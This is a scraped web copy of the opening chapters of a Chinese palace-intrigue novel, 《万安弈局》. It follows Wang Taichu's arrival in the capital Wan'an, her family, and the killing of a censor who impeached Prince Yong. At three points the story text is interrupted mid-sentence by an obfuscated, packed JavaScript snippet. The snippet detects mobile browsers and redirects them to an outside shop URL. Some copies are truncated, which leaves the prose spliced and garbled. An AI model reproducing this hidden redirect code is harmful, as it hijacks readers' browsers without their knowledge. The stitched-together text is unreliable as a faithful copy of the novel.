《万安弈局》 2. 第一章 初到万安（一） 万安城，大庆帝都，正德三十五年。 帝王之都，磅礴壮阔，万安城便是取自万方安和之意。 巍峨的城门边，两辆身形简单的马车停在一侧，此时后车的车帘被掀起，一个身着松花色如意茶花罗襦裙的少女从车厢里一跃而下。她俏皮地向前跑了几步，在城门下站定，细细地看了一会后，笑着跑到前车的车厢前，兴奋地问道：“大哥哥，这万安城怎么同我记忆中的完全不同了。” “如何不同了？”前车车帘也被掀起，露出一张清冷的面孔，回话之人身着一身青色绸衫，更是衬得面色白皙。 “以前的城门好似要比现在的高一些。”女孩子天真烂漫地用手比了比自己和城门的差距，满眼都是初到万安的好奇。 “已是过去十年，这城门不长个，你也得长个了。”青衣少年的脸上露出少有的悦色，继续说道，“这万安城可不比你在明州的时候，一言一行都得守规矩，不可无状。言妈妈同沉水这一路上可还好？昨日听启年说言妈妈晕车厉害，后来可有用药？” “言妈妈和沉水现下正躺在车厢里昏昏大睡呢。半途的时候言妈妈吐了不少黄水，后来便昏昏沉沉没有醒来，更不用说沉水了，一上车就昏睡了过去，倒也是清净。”说起这些，女孩见青衣少年的伴读一直未现身，就上前一步掀起车帘向里看去，边探看边发问：“难不成启年也昏睡了过去，出发前还跟我说自己最是能坐马车，原来竟是说大话。” “启年可是精神得很，已经去城门口找接我们进城的人去了。”青衣少年抬了抬头，示意女孩向城门口的方向看，果然看到身着单衣的启年正和门边的一个小青年说着什么，然后就看到那个小青年立马回身向城门内跑去。 “大姑娘，外面风大，你可得披一件外衣才能下车呀。”只见后车踉跄着钻出来一个身形略臃肿的妈妈，边整理着一件斗篷边向这边跑来。好似晕车的症状还未有缓解，虽然头是朝着这个方向，身体却不自觉地歪向了另一边，女孩见状连忙上前两步扶住。 “言妈妈可是要见着郎君太过激动，竟连路都走不稳当了。”女孩嗔笑着撞了一下言妈妈的腰，顺手接过了手中的斗篷披到身上，嘴上还是打趣着继续说道：“这次爹爹信中说了会让桓管事接我们入城，可见桓管事的也是一刻也不能等，想要快快见到言妈妈呢。” “哥儿，您看看大姑娘。”言妈妈虽说是王府的头等女使，平日里不需做一些粗鄙的活，但是却是最喜欢在明州的时候去海边晾晒鱼货，所以皮肤黝黑，即使是现在满脸滚烫也看不出有任何的红晕挂在脸上。 “太初无理，就知道打趣言妈妈，你才多大年纪，哪里知道什么郎情妾意。”青衣少年的脸上挂着宠溺，却也不好随着女孩胡说打趣，便看似严厉地敲打了一句。 “太初当然知道，郎情妾意，便好似桓管事同言妈妈，大哥哥你同盼儿姐姐。”女孩可是不怕这个看似严厉的大哥哥，更是变本加厉，嬉笑着跑近青衣少年身侧，附在耳边轻轻说道。 青衣少年本就白皙，不似言妈妈脸色黝黑，登时红晕就爬上了脸颊。 “没大没小。”青衣少年气急，伸手就在女孩的额间轻轻敲打了一下。 “说的都是实话，哥哥气急什么。”女孩捂着刚才被敲打的额头，靠近继续说道，“盼儿姐姐都不害臊，大哥哥害臊什么。” “想必两位就是绍安公子和太初姑娘了吧，小人是桓管事手下的临风，特意来接公子和姑娘回府。”来人并不是言妈妈的夫婿桓管事，是个大约十四、五岁的清瘦少年，他恭敬地站在身侧，等着绍安和太初说话的间隙，才开口问道。 “桓管事呢？爹爹说是他来接我们。”太初看了一眼站在身侧的言妈妈，连忙开口问道。 “今日宣读官会来府中宣读老爷任通政使的旨意，府里上下都不得空，所以差遣了临风前来。”这小厮也是个精明的主，见到太初一直看向身侧的言妈妈连忙行礼道：“想必这位便是师母了，师傅临行前特意吩咐让我跟您解释一番，还望您体谅。” 言妈妈原本已经稍有不悦，毕竟分别多年，说好的没有做到便是轻怠，但如果真是主家有要紧的事，便也不好计较，只能还礼。 “言妈妈你先同太初上车，临风与我们同车，今日路上耽搁竟是有些迟了，也不知道宣读官来了没有，这会赶一赶是不是能赶上。”王绍安这般心思迟钝的人自是没有看出来话语间暗藏的深意，只是觉得时辰不早了，就催促着大家上车，快些入城。 这时两位身着玄色铠甲的侍卫突然从外城官道上大声喊着“太子驾到，各方避让”疾驰而来，原本聚在城门下的人群，开始退避，纷纷低头站到官道两边。 王绍安也从车上跳了下来，站定在路边低头行礼。 玄袍侍卫掠身而过好一会儿，才看到两人纵马而来，其中一人虽身着墨色便服，但是气质上却是雍容华贵，此人正是当朝太子刘聿恒。他策马而来，却在快到城门口时，遇到人群密集，勒住了马缰，慢下了速度，然后悠悠然地进了城门。 王太初初来乍到，正是对一切都好奇的时候，她知道见到太子殿下要行礼，却不知道在人群中见到太子殿下也是要行礼的，贸贸然就伸长了脖子，想要看个究竟，却不想这一幕被刘聿恒看在了眼里。 “刚才路侧的是谁家的马车？”刘聿恒在过了城门的人群以后更是慢下了速度，万安城街道纵横，车水马龙，尤其是这个时候更是行人如织，想要在城内策马扬鞭是根本不可行的。 “臣听闻翰林学士，不，现在应是通政使王抃王大人养在明州的一双儿女今日进京，我看身侧站着的像是王府的临风管事，我想大概是王大人的儿女。”刘聿恒的身侧跟着的是太子侍读朱昌颐，他早就注意到了官道边上那抹清绝的身影，听到太子问起，竟想也未想，脱口而出。 “昌颐竟对王先生的府邸如此了解。”刘聿恒想到路旁的倩影，便也不觉得奇怪，爱美之心人皆有之，他刘聿恒多看了一眼，朱昌颐多看一眼也不足为奇。 “王先生学富五车，博古通今，臣有幸在先生为陛下讲经筵的时候侍奉在侧，每每堂上有不解之惑都会拜帖请王先生赐教，因此跟王府的管事熟络了一些。”朱昌颐觉得自己多嘴，这种家长里短的事情何必与太子说。 “王先生知书达理，却不想女儿竟……”刘聿恒竟一时不知道如何形容刚才的女孩，沉默了良久以后继续说道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16156318|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “甚是淘气。” 这哪里是形容一个姑娘家的好词，这满万安城的贵女们争做的都是兰质慧心，知书达理这样的姑娘，有谁会喜欢淘气这样好似逗猫逗狗的形容词出现在自己身上。 “听闻王大姑娘在明州颇有名望，精通史识，博学多才，常常在其兄长讲学时伴其左右，诗词更是细腻真挚。早前臣只在明州赴京的官吏中略闻一二王大姑娘的才学，今日相见竟不知王大姑娘如此生动。”朱昌颐向来敬重王抃的才学人品，自然也对王学士的一双儿女有了维护之意，自觉“淘气”并不适合王太初，便不管太子是不是开玩笑，出口维护着说了一句。 “你说的兄长，可是那位名满江南的王绍安？”太子听朱昌颐一说，就想起了数月之前太子太傅夸赞王绍安文章时如获至宝的神情。 “正是那个王绍安，听闻绍安公子十六岁中举之后便未有入京参加过春闱，反而在句章县做起了教书先生。陛下闻得才名也曾试图让王先生去劝过王大公子入仕为国效力，但也是每每落空，不知王大公子此次进京，是否会有其他的打算。”朱昌颐想起官道边身姿挺拔的翩翩君子，如果真能同此等学识的学士成为同僚，岂不是人生一大幸事。 “虽说安邦兴国是多数男儿的志向，但如若能像闲云野鹤般寄居山间未尝也不是一件美事。天子治国为的就是让百姓都能过上自己想过的生活，王大公子也是我大庆的百姓，自不能因为他有治国之才就忽略了他的想法。父皇向来不是如此强人所难的脾性，想必也是因为王大公子才学太过难得，也让他觉得可惜吧。”刘聿恒也拜读过王绍安的策论，觉得父皇有这样的求才迫切之心，也是人之常情。 “虽说如此，但如此治世之才如果能为朝廷所用岂不是更好。”朱昌颐闻言虽觉此言非虚，但还是觉得遗憾可惜。 “昌颐是有私心，想着不能与王大公子同朝治政觉得可惜吧。”此时马匹正好行至万安门外，刘聿恒下马将缰绳交给马官，守门的侍卫见是太子连忙行礼，刘聿恒冲着侍卫点了点头以后，进了宫门：“过几日就是重阳节，康王府的菊花品种最是繁多，到时候以我的名义下拜帖请王大公子入府赏花，届时你有什么疑问，找其解惑便可。” “昌颐谢过太子。”朱昌颐做为太子侍读，被选入东宫伴读的原因也是颇为传奇。 朱昌颐的父亲是都察院右都御史朱学礼，在朝堂上以‘弹劾不避权幸’闻名。听说朱昌颐自幼爱好读书，嗜学如命，稚子无次，听闻太宗藏书繁多便想让自己的父亲借览阅之，却没想到也不知是朱学礼对自己的这个独子太过宠爱，还是对太宗的仁德太过有信心，竟真的在一次面圣以后提出了借书阅之的请求。太宗先是震惊，但在了解完来龙去脉以后竟真的命人摘抄了几本绝版给朱昌颐，甚至还命他进了东宫，陪同太子在资善堂学习，当时的朱学礼也只是都察院的一名普通的巡城御史，可能也是因为太宗欣赏其舒达直率的性格，才一步步扶持，直到他坐上都察院右都御史的位置。 刘聿恒瞧着眼前的朱昌颐因为欣喜而手足无措行礼的样子，含笑拍了拍他的肩膀。 掠过朱昌颐的肩头，刘聿恒瞥见了跪在万安门登闻鼓前挺直腰板的男人，收起笑容。 3. 第一章 初入万安（二） 王抃的府邸在大宁坊天吉巷，怕冲撞了前来宣旨的宣读官，王绍安的马车在不远处停定以后，临风先从后门进去探了情况。 “言妈妈可知王夫人是怎样的为人？”沉水总算是从晕车中清醒了过来，她边收拾着车厢，边趁着间隙问道。 沉水口中的王夫人是王抃的继室江音如。 沉水和王太初一般大小，当初王绍安和王太初的亲生母亲，王抃的发妻病死明州，恐其外祖母在明州无人照顾，王绍安和王太初毅然决然决定离开万安回明州照顾外祖母。 沉水是先夫人在明州收养的孩子，从未踏入过万安城半步，自是没有见过万安城的王夫人。但是言妈妈却是在王抃迎娶继室以后从万安去的明州，是跟王夫人打过交道的。沉水自知自己不是一个合格的女使，平日里跟王太初也是没大没小的，现在到了新的环境，先探一探主母的性格喜好总是不会有错的。 “夫人虽是商贾出身，性格甚是爽朗，对下人们也甚是体恤，放宽心，只要同平日那样伺候就行了。”言妈妈宠溺地拍了拍沉水的脑袋，笑着接过她正在叠的睡毯。 “爹爹看上的夫人，自是跟娘亲一样好的。”王太初自小就是个淘气的，进了城以后一直掀起帘子看着车外万安城的盛景，现下要不是言妈妈拦着她不让她下马车，她早就在街上蹦跶一圈回来了。 “如果是跟先夫人那般，我就安心了。”沉水的脸上恢复了血色，人也要比刚才鲜活了许多。 “再说了，如果万安城我们呆得不开心，我们回明州就是了，或者我们一起去母亲书中提及的那些去处也是好的。大哥哥也说了，此次进京是为了给爹爹贺喜，也没说一定要长居此处。”王太初自小和沉水一起长大，她们两人从来没有主仆之分，再加上沉水是自己娘亲收养的孩子，她更是把她当成了自己的嫡亲妹妹。 “是大姐姐吗？”车厢里不知道什么时候探进了一个虎头虎脑的大脑袋，眨巴着眼睛看着还想高谈阔论的太初。 一时之间，车内的人互相看了一眼，不知道这孩子口中的大姐姐究竟喊的是谁。 “可是文哥儿？”言妈妈看到孩子眉眼间和王抃的相似之处，便开口问道。 “哪个是太初大姐姐？”孩童没有回答言妈妈的话，反而眨巴着眼睛看着太初和沉水。 “你是绍文？”太初上前一步，抓起眼前孩子胖嘟嘟的脸上下端详了一番。 “你是太初姐姐？上次信中说会带一副新的麻将给我，你可带了？没有忘记吧。”王绍文是江音如的孩子，因为王抃从未有过妾室，王绍文便是王家在万安城内唯一的孩子。也正是因为如此，相比较万安城内其他王府大院的人丁兴旺，王绍文自小便只是一个人。在他刚学会读书识字的时候，知道明州还有自己的哥哥姐姐，便开始尝试着写信联络。当然比起学究派头的王绍安每次回信的长篇大论，之乎者也，他这个从未蒙面的大姐姐就要有趣很多了。她会给自己讲明州的风土人情，平日里的消遣，甚至怕自己不明白她所说的物件消遣，还特地托人给他捎来了麻将，听说这是明州百姓业余时候最喜欢的活动了。 “你最是淘气，只惦记着自己的麻将，你太初姐姐赶了那么久的路，再重要的事也要等安顿好了再说。”江音如边说着边掀起了车厢的车帘，果然如言妈妈所言，只是听江音如中气十足的声音便可知道，她是一个爽利之人。 “想必这个就是太初了吧。”江音如长得不似万安城的女子，竟是更像江南女子般婉约，这倒是跟她说话的声音很不般配。 “太初有礼。”车厢内空间局促，太初只能行了一个常礼。 “快快下车，随我进府。老爷还在正堂跟宣读官寒暄，我看临风回来了，想着定是你们到了，就先出来接你们了。”江音如推了推还挡在车厢前纠结麻将的王绍文，伸手扶住正欲下车的王太初，“绍安呢？可是在后面那辆马车里？” 王绍安听闻车厢外的热闹，早就下车侯在了一边，等江音如探身去看的时候，毕恭毕敬朝着江音如行了一个大礼。 “一路平稳便好，快快随我进府，老爷见到你们定是欢喜得不得了。”江音如握着王太初的手，一刻也没松开，嘘寒问暖，仅仅是这么几分钟就已是让王太初招架不住。 王太初被搀着跨下马车，觉着刚才马车上行的礼过于简单，便想要学着王绍安行个大礼，却被江音如拦住。 “来了便好。”江音如托住王太初的手，眼角闪着泪光，示意她不必行礼。 “驾—驾—退让--”疾驰的马蹄声由远及近，王家的马车虽然都已停在路边，熙熙攘攘好几个人还是占据了部分道路。但是眼前的马队却丝毫没有因为路旁有人有任何减速的意思，只是横冲直撞，叫嚷着让旁人退让。 江音如一把搂过身侧的王太初，护到一边。 “是谁家的马队，如此嚣张，我定要去衙门告他们不可。”等反应过来王太初便查看江音如是否无恙，等确认无虞以后生气地冲着马队离开的方向碎嘴道。 “太初姑娘，是雍王殿下的马队。”临风候在身侧，眼看着王太初就要出言不逊，谨慎提醒道。 “既然是殿下更应该顾忌我们民众的安全才是，岂能在熙熙攘攘的街头如此冲撞。”王太初仍在不依不饶，暗叹幸好是江音如没事，否则岂不是刚见面就欠下好大一个人情。 “你若是男儿生，做御史就是再合适不过。”王绍安玩笑着说道，见都无恙便走过来打圆场，“今日是父亲的大日子，你且先顺顺气。” “是呀，都没受伤，大好的日子，不为这些个事败了兴致。”江音如挽起还在愤懑不平的王太初就往府门走。 沉水看着眼前的新夫人像是真的喜欢自己家的小姐也就放下了心来，跟在身后进了府邸。 先夫人是自己的恩人，虽是王府的嫡母，却从未有福气住进过这万安城内的王府院子。王抃入京高中的时候她的身体已经不足以支撑她离开明州来到万安城了。为了能让自己的孩子在皇城万安城内长大，即使是要面临骨肉分离的境地，作为母亲她也没有犹豫。 所以当沉水踏进王府的时候，看到眼前雅致精巧的院落心里难免会想起明州城内和先夫人在一起的那段时光，不免心生哀叹。 江音如为了迎接王太初的到来，数月之前就找了万安城的泥瓦匠彻底翻新了沧澜阁，更是找了景观设计的匠人特意在沧澜阁中按着江南的景致布置了小桥流水。 “这些都是母……我按照自己的猜想给你布置的院子， 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“太初自小在明州长大，性格无拘，生活上本不太讲究，有劳您费心了。”王太初自是听出了江音如那憋回嘴里的母亲，她从小到大，几乎没有跟母亲相处的记忆，只是在后来从万安城回到明州才有跟外祖母相处的时光。但外祖母毕竟不像母亲，尽管也是待她亲厚，却也只能因为年迈，不能像江音如现在这般为她忙前忙后。于情于理，她都应该唤她一声母亲，但对母亲毫无记忆的太初还是没有开口。 “我膝下只有绍文一子，从未给姑娘家置办过，有什么到时候你尽管跟我说就是了。”江音如放下茶盏；“对了，绍安就住在西侧的莫言堂，那里最是靠近书房，院子偏了一些，但是绍安知道离书房近硬是选了那里，别的都不打紧，就是你去看他，便要多走几步了。” “老爷平日通政使司工作忙，府里吃饭都没有定时，所以平日里各个院子在小厨房解决就是了，没有那么多的规矩。”江音如说着说着便像是没了底气，说话的声音也越来越小：“你也知道我是开酒楼的，平日里大多数的时间也是放在自己的生意上，所以大宅院里的晨昏定省的规矩，我这里也是没有的，大姑娘跟在明州那样就好。” 大庆虽不像别的朝代那般“崇本抑末”，各个行业在万安城内也都是欣欣向荣，各类人群也都能找到自己的位置。但是比起高高在上的庙堂，在市井中经营着酒楼买卖的江音如在世俗的眼中却还是难登大雅之堂。身为太宗朝通政使的继室，平日里难免也需要参加万安城内贵妇们的活动，一开始的时候，江音如还饶有兴致，后来听到人后的议论，怕自己的身份给王抃惹来麻烦，她便很少出席了。 “夫人，前堂派了人过来，说是宣读官已经回宫了，老爷来找大姑娘前去书房。”刘妈妈是江音如的陪嫁，原本一直指挥着女使在院子里忙活，听到前堂派人传来了话，就立刻进屋通传道。 “知道了，你们接着归置，我带太初前去就是，刘妈妈，你招呼着言妈妈和沉水去看看园子里她们的住所。”江音如说完回过头对着太初说到：“近日万安府内有一案情，刑部同大理寺意见相左迟迟无法审定，皇上便命翰林院参与断案，虽说今日姥爷领了新职，只怕他也不会不管此事，近日来彻夜伏在案上，为了这件事熬了好几宿，到了书房，你可要帮着劝劝。” 4. 第一章 初入万安（三） 只是没想到，原本江音如想着只需要让王太初劝劝王抃，以他对这个女儿的偏爱和想念他定是会听的，却不料，等到了书房，却发现王抃同王绍安已经先在王府上演了就此事两代人的议法。 王绍安的莫言堂离书房最近，自是比王太初早到了一些时候。 “绍安以为，可以从大庆立法的本意议法，无非有三，其一，量情取当，其二，重禁绝恶，其三便是原首开善，无论案情有多复杂，只要从立法本意出发审度，便不会有大的偏差。”王绍安像是刚说完紧要的观点，正拿起桌案上的茶盏准备喝茶，见江音如带着太初进来，连忙放下茶盏，行礼道：“问母亲安。” “爹爹可是比前些年在明州相见的时候，老了许多。”王太初还是小孩子脾性，见到案桌前还在品味王绍安‘从立法本意出发’说法的王抃，就亲亲热热地抱了上去，没有半分大家闺秀的样子。 “太初长大了，爹爹自然就老了。”等王抃反应过来，哪里还管得上什么两制议法，抓着太初的胳膊左看右看，好生欢喜。 “大哥哥最是一个书呆子，也没瞧见爹爹现在脸色蜡黄，一看就是几日未眠的模样，还在这里说什么立法本意。”王太初假装生气斜眼看了一眼站在下首的王绍安，继续说道：“儿子总归是没有女儿贴心。” “老爷，太初和绍安长途跋涉定是疲累，我让酒楼的厨子准备了几道菜肴送到府里，我们还是先用饭吧。”江音如还沉浸在王绍安的那声母亲中，没有想到王太初倒是直入主题，自己也只能马上配合了起来。 “绍文可不要听你大姐姐胡语，她最是喜欢撒娇，我们让着她让她做这贴心的小棉袄就是了。”王绍安见跟在江音如身后，怯怯地看着自己的王绍文，便蹲了下来，搂过他说到。 “大哥哥可是如信中所言给我带了不少的书籍？”王绍安原本还在纳闷自己和这个弟弟第一次相见怎么就莫名其妙收获了他幽怨的眼神，没想到问题出在这里。 被这么一问他竟然一时之间没了说辞，毕竟他真的给这个弟弟带来了两个箱子的书，现下他也确实是知道了，他并不喜欢这些书籍。 “现在知道我这个姐姐的贴心了吧。”王太初指着吃瘪的绍安哈哈大笑，她顺势搂过这个弟弟，也蹲下了身子，“大姐姐我可是给你带了一副全新的麻将，上面我还找了明州城最好的刀刻师傅，在牌的背后都刻上了你的生肖，小白兔。” “每一个都一模一样吗？”王绍文皱起了眉头。 “每一个都不一样，是我亲自画的图样呢。”自己呕心沥血画了整整两个月，费尽了心力才想出这一百四十四个不同神态的兔子。 “那岂不是我就知道牌了？”王太初还正在得意自己果然在这份见面礼上战胜了这个不识趣的哥哥，她想起了自己找工匠雕刻时候工匠疑惑的眼神，没想到问题竟然出在这里。 “见识到大姐姐的贴心了吗？”王绍安宠溺地点了点王太初的额头哈哈大笑。 王抃慈爱地看着眼前的一双儿女，多年未见，未有生疏已是万幸，更何况眼前这个兄友弟恭，母慈子孝的场景。 朝堂上风云诡谲，偌大的万安城内也只有王府这一隅才是真正属于他王抃的。 前些日子作为翰林学士最后一次在崇政殿讲席之时，太宗赐其“坐讲”殊荣之时，他便知道天吉巷这属于他的一隅，恐怕也再难保住了。自我朝立朝以来，经筵官讲席之时都为“立讲”，此举主要是为了区分‘经筵官’同‘天子师’的区别，向来立讲为官，坐讲便是师。而那日太宗赐位王抃，虽然未说任何言语，但时刻盯着皇帝一言一行的文武百官却早就已经有了自己的解读，他们知道王抃已经不再是大庆庙堂之上一个简单的官员，他是太宗皇帝的近臣，而皇帝的近臣向来都是必须承受万家之言的。 秋风中摇曳的烛火照得王抃的脸忽明忽暗，他看着还在想着法子找回一些面子的王太初暗下了眼眸，他已经有很久没有想起过自己那位安葬在明州的先夫人了。 “姥爷，宫里来了消息。”王府的大管事王桓立在门外，这个时间点要不是有什么紧急的事情，善于察言观色的王桓是断然不会来此打扰王抃的。 “进屋回话。”王抃的脸色严肃了起来。 王桓进屋朝着王绍安和王太初行了一个礼，就杵在原地，没有继续开口。 “说吧，他们既然身处万安城，也应当晓得万安城内每天发生的事。”王抃摆摆手，示意王桓继续说。 “宫里的消息，今日早朝以后都察院多名御史同时向雍王发起弹劾，说其分封以后应回其属地，不应再逗留于万安城中，更有督察御史在万安门外敲击登闻鼓长跪请命。陛下在晚膳之前收到了弹劾的折子以后，说是什么也没说，连晚膳也未用就一人去了曹贵妃处。”王桓将听到的消息一字不差地复述给王抃后，便立在一旁等着王抃的回话。 “雍王殿下分府建藩已有些时日，一直因为曹贵妃的身体留在万安城内侍疾，何故今日都察院才提起此事？”王抃捻了捻指腹，继续问道，“雍王殿下是否北巡回来了？” “是的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她故意落后了几步，跟江音如保持距离，吸了吸鼻子，在团圆的大好日子，在物华天宝的大庆皇都，她似乎是不应该有这般落寞的情绪的。但是思乡的情绪却在她远离家乡多时，真正安顿下来的这一刻没有轻易放过她，她越是告诉自己不合时宜，却越是情难自控。 她走得更是慢了一些，又是抽了抽鼻子，直到怀中的王绍文觉得自己有些下滑将她紧紧搂住，此刻他没有发现她的秘密，但是却安慰了她的情绪。 王太初笑着将有些许滑落的王绍文抱得更高，然后快跑几步冲进走在前方的人群。 “姥爷，宫里急报。”王桓不知何时又去而复返，他举止依然淡然有礼，但是眼神中的一丝慌张却还是被王太初看在了眼里。 “何事？”王抃见到王桓复返也知情况紧急，他停下了脚步，招呼着王桓走近回话。 “一刻之前，今日在登闻鼓前击鼓请愿的监察御史，在万安门前被冷箭射杀，当场毙命。” 秋风卷起园子里的落叶，王太初更加抱紧了王绍文，王抃眼中的震惊一掠而过，重归于平静，开口问道。 “是哪位御史大人？” “听说是监察御史赖长兴。” 5. 第二章 重阳花会 （一） 万安城作为大庆国的政治文化中心，皇城巍峨雄伟，民间却是风流雅致。 虽然朝堂之上监察御史在登闻鼓前被射杀引起了不小的风波，太宗皇帝闻言也是龙颜大怒，命三司衙署限期彻查，势要揪出凶手。即便如此皇帝夜夜留宿曹贵妃处的举动还是给了百官不小的暗示。监察御史赖长兴是在弹劾雍王刘聿洵封藩留京时被残忍诛杀的，逻辑上来说，雍王便是那最有动机之人，即使不能扣押雍王到衙门问案，万安府的衙门也理应按照流程前往雍王府询问。但此时曹贵妃却宠爱更甚，这倒是让衙门和朝堂上的官员如坠入了迷雾一般，看不真切了。所以即使事情已经发生了几日，这件事除了变成万安城茶余饭后的谈资之外，雍王府依然平静如常。 王家的日子也如往常一般，王抃自从升任了通政使之后，便鲜少能在正常的时间点回到家中，即使是休沐之时也都是在自己的值房度过。 而王太初只是在初到万安那几日跟着江音如去了香铺选香，去了绣坊裁衣，甚至还去了樊楼饮宴。 初时她被这万安城的富贵繁荣所迷，但折腾了几日以后，便觉得没了意思。 燃香点茶，挂画插花这样的事情一开始还觉得新奇风雅，后来便觉得麻烦琐碎，就连樊楼的时新菜肴奇珍异味，对于王太初这个好食之客来说也变得不再有吸引力。 她百无聊赖地躺在沧澜阁园子里的躺椅上，随手翻看着一本从王绍安处顺手拿来的书，好些地方王绍安都有注解，每每读到王太初不太认同之处，她都会在页脚折上一角，以示不同意，而读到不甚赞同之处，便会在页头折上一角，当然这些都是让王绍安这个爱书如命的读书人极为不满的。 “沉水，大哥哥这几日在做什么？”王太初想起自己像是好几日没有见到自己的哥哥了，几次去莫言堂想要找他聊上几句，他都外出不在。 “前几日安哥儿托启年给姑娘送四和香过来的时候，说是老爷在议法时关于从‘立法本意’出发的想法得到了皇上的称赞，后来皇上知道这个是我们安哥儿的想法便在朝会上赞许了一番。这下可好，帖子络绎不绝，安哥儿这几日怕是都去了城里的皇亲贵勋的家中作客吧。”沉水正在矮桌上的白瓷香炉里摆弄着四和香，她可不似王太初这般没心没肺，这几日刘妈妈教给她的万安城女使的看家本领已够她琢磨好一阵子了。 “大哥哥这几日都是去见了什么人，都是像你这般喜欢伺香的无趣之人吗？”王太初见沉水还在摆弄着白瓷香炉里的香，便放下书从躺椅上起身走了过去，蹲在沉水的对面，直勾勾地盯着那个香炉里燃起的烟雾，“我听闻四和香是由沉香、檀香、龙脑香和麝香四味珍贵香料合成的，你可还记得明州市舶司外那些被偷拿出来卖的香料已是价格不菲。这四和香我在香铺里见过，放在柜台后面，掌柜的说是镇店之宝，概不出售，硬是连试闻都没让我闻，我觉着这些怕是值不少银子吧，经得起你这样剂量的折腾吗？” “怪不得要劳烦启年亲自送一趟，原来那么贵重，我还想着拿这新香练练手，言妈妈总是说我烧的香烟雾不够飘逸，没有风骨可言。”沉水也不知启年送来的香这么昂贵，在知道了价钱以后更是没了轻重，一团雾气更是乱七八糟，熏的人睁不开眼睛。 “哈哈哈……逗你玩呢？什么四和香、五和香的，我倒是觉得还是外祖母随便扔在炉子上的橘皮熏出来的香气才是最清新朴素。”她重新退回到躺椅上，没有继续看书，而是盯着不远处的一处景致发呆。 “你说什么人会送大哥哥四和香呢？”过了好一会儿，王太初才幽幽地回过头来看向还在侍香的沉水，“会不会是万安城内的姑娘？” “绝无可能，如果真是姑娘所赠那盼儿姑娘怕是要宰了我们家安哥儿吧。”沉水想起明州城内彪悍的盼儿姑娘，又低头看了一眼香案上那罐子价值千金的四和香，脸上的表情从笃定变成了惊惧。 这样别致的玩意，定是姑娘所赠。 沉水想要从罐子上找出一些蛛丝马迹，也顾不得烟雾是不是飘逸，拿起白瓷罐子就前后看了起来。 王太初也甚是紧张，她觉得罐子确实是个突破口，慌乱中汲了鞋就跑到了香案前，接过罐子前后左右看了一个遍。 这罐子虽是白瓷所制却也没有什么别的装饰可以证明此物出自女性之手，王太初像是觉得检查地还不彻底，打开盖子就把万安城内他人视为珍奇的四和香一股脑全倒进了旁边的茶盏中，向罐子的里面看去。 沉水原本还想阻止，却也没赶上王太初的速度，只能眼睁睁地看到香粉在茶盏中融合扩散。 “你还有心思管这香呢。来万安之前我可是跟盼儿姐姐做过保的，绝对不能让大哥哥在万安城沾染上什么姑娘。”王太初见沉水想要伸过手来阻止自己的动作，头都没抬说道，“再说了，这万安城的姑娘虽然是艳丽明媚，但如果大哥哥真要是见异思迁，我这个做妹妹的也是不能放过他的。” 沉水想起盼儿临行前的嘱咐和威胁不禁打了一个寒颤，顾不上舍不得那些香粉，连忙也帮着查看了起来。 “哎呦喂我的姑奶奶，你这样哪里是大家闺秀的样子。”言妈妈此时正拿着一张帖子进来，自从回到万安城言妈妈装扮起来，更是有了大户人家头等女使的派头，自然也就没了在明州时的随意，凡事都以官家小姐的要求嘱咐着王太初。 王太初听闻连忙将鞋穿好，四和香的罐子上并没有发现什么特别之处，她还在想着下一步要如何行动。 “这是夫人派人送来的帖子，说是重阳节康王府邀请举家前往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其父通政使王抃入仕以来一直深受太宗皇帝重看，现下更是在大庆朝有了经筵官‘坐讲’的先例，甚至还得到太宗的提携直接从翰林学士官拜通政使。其兄王绍安靠着‘议法’从‘立法本意’出发的观点也是受到了太宗的赏识，这样的身份背景已经足够全万安的女子警惕一番，更何况现在还有别的传言。那些在香铺绣坊，酒楼脚店见过王太初的人都对她的样貌举止赞叹有加，有的更是将她比成了仙女，那现在恐怕仅仅是警惕都是不够的了，或许有人已经将她看成了假想敌和眼中钉。尤其是左通政郑慎行的小女儿郑思玥更是里头最起劲的人。自己的父亲三年考核全优，原本今年是最有可能升任通政使之位的，却没想到被王抃仗着皇帝的宠爱横叉了一脚，失去了升任的机会。要知道在万安城内，在这个勾心斗角不输于朝堂的小江湖中，父兄的荣耀和官职是她们赖以生存的养分。 6. 第二章 重阳花会（二） 一个从明州这样的小地方出来的乡野之女，即使是貌若天仙又如何，那股子小家子气总是比不上她这样的京城贵女的。更何况她还有个经营着酒楼抛头露面的继母，这样的身份在万安城内，即使他的父亲正蒙圣宠，她的哥哥名重天下又如何。 当然郑思玥也不是冲动鲁莽的性格，自己的父亲虽是左通政，现下的的确确是王抃的属官，自己如果向王太初发难，未免会被人看成是输不起，所以她必须找到另外一个人，一个在万安城内一直艳压群芳孤傲自赏，且不可一世的人，那便是周家元月。 周元月是周致正的独女，而周致正是让西境的鞑靼闻风丧胆的镇西都督，她的两个哥哥一个战死在西境得到了太宗的追封，另一个留在西境成为了镇西军的少帅。朝廷为了让远在边境的周致正安心，周元月自小就是被养在宫中和公主同吃同住，没有吃过什么苦，飞扬跋扈，目中无人惯了。如果王太初真如坊间传言那般姿色过人，不用自己亲自动手，只要在这个周家的大小姐耳边说上几句，就有她王太初的苦头吃了。 “听说前几日洪妹妹去香铺子取香，碰到了通政使家明州来的姑娘，可真如坊间传的那样钟灵毓秀？” 